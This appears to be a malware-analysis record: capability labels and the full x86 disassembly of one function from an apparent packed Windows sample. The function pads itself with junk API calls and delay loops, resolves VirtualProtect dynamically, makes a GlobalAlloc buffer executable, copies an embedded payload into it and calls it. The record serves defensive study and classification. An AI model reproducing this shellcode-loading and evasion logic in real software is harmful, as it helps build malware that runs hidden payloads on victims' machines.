Function at 0x4011ed
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Initialize winhttp library
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp edi, 0x207142
jg 0x401214
inc edi
cmp edi, 0x67d12
jl 0x4011fd
cmp dword [0x248eef4], 0x93
jne 0x4012d7
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push dword [ebp - 8]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x814]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.dekuzaxuhoxiribifohoruxinas
push str.hosigutovujex_lolocahedunebutab__f
push 0x47c800
call fcn.0040160e
push esi
push esi
push esi
push esi
call fcn.00401bd1
push esi
push esi
call fcn.0040194c
add esp, 0x24
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], str.bad_exception
call fcn.00401693
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], vtable.std::bad_exception.0
call fcn.004016ba
push esi
push esi
call fcn.00401941
pop ecx
pop ecx
mov eax, dword [0x47183c]
add dword [0x248eef4], 0x1134b
push str.kernel32.dll
mov dword [0x248fd30], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x248e984], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x248eef4]
mov dword [0x248e978], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x248eef4]
mov dword [0x248e980], eax
push eax
call dword [0x248e978]
xor edi, edi
cmp edi, 0xacc
jge 0x401363
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x45be411
jg 0x40137d
inc edi
cmp edi, 0x3330601
jl 0x401333
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call ebx
dec edi
jne 0x401388
cmp dword [0x248eef4], esi
jbe 0x4013ff
mov eax, dword [0x248fd30]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x248e980]
mov byte [ecx + edi], al
cmp dword [0x248eef4], 0x490
jne 0x4013f6
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x248eef4]
jb 0x4013a9
xor edi, edi
mov eax, dword [0x248eef4]
add eax, edi
cmp eax, 0x8d
jne 0x40142e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push str.pelapawagetidayiwexuwin
push str.havayekubipacacujoxifupozeko
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x401401
call fcn.0040112f
xor edi, edi
call ebx
cmp edi, 0x61
jne 0x401458
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x248e980], eax
inc edi
cmp edi, 0x674bd
jl 0x40143e
push 0x7b
pop edi
cmp dword [0x248eef4], 0x86
jne 0x40149d
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x401464
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x248e980]
pop edi
pop esi
pop ebx
leave
ret